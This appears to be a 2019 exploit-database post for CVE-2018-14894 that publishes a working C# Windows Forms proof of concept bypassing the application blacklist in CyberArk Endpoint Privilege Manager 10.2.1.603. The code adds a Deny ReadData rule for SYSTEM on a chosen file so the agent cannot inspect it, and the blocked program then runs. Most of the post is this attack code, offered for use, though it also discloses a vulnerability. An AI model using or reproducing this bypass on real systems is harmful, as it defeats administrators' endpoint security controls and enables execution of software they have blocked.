CyberArk EPM 10.2.1.603 - Security Restrictions #Bypass Exploit

# Exploit Title: CyberArk Endpoint bypass 
# Exploit Author: Alpcan Onaran
# Vendor Homepage: https://www.cyberark.com
# Software Link: -
# Version: 10.2.1.603
# Tested on: Windows 10
# CVE : CVE-2018-14894

//If user needs admin privileges, CyberArk gives the admin token to user for spesific process not for the whole system. It is cool idea.
//This product also has a function called “Application Blacklist”. You probably know what that means.
//It helps you to block to execute specified application by CyberArk admin. In normal cases, you can not be able to start this process even with admin rights.
//But We found very interesting trick to make CyberArk blind completely.All you need to do, revoke read privileges for system on the file that you want to open it.
//After you do that, CyberArk EPM can not be able to get information about your blocked file and it just let them execute

This exploit works on CyberArk EPM 10.2.1.603 and below. (Tested on Windows 10 x64)
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System;
using System.IO;
using System.Security.AccessControl;

namespace raceagainstthesystem
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void btn_change_access_control_Click(object sender, EventArgs e)
        {
            string fileName = txt_filepath.Text;
            FileSecurity fSecurity = File.GetAccessControl(fileName);
            fSecurity.AddAccessRule(new FileSystemAccessRule(@"SYSTEM",
                    FileSystemRights.ReadData, AccessControlType.Deny));
            File.SetAccessControl(fileName, fSecurity);

            /*
            fSecurity.RemoveAccessRule(new FileSystemAccessRule(@"SYSTEM",
                    FileSystemRights.ReadData, AccessControlType.Allow));
            */

            File.SetAccessControl(fileName, fSecurity);
        }

        private void btn_choseFile_Click(object sender, System.EventArgs e)
        {
            OpenFileDialog choofdlog = new OpenFileDialog();
            choofdlog.Filter = "All Files (*.*)|*.*";
            choofdlog.FilterIndex = 1;
            choofdlog.Multiselect = true;

            string sFileName = "";

            if (choofdlog.ShowDialog() == DialogResult.OK)
            {
                sFileName = choofdlog.FileName;
                string[] arrAllFiles = choofdlog.FileNames; //used when Multiselect = true           
            }
            txt_filepath.Text = sFileName;
        }
    }
}

#  0day.today [2019-04-12]  #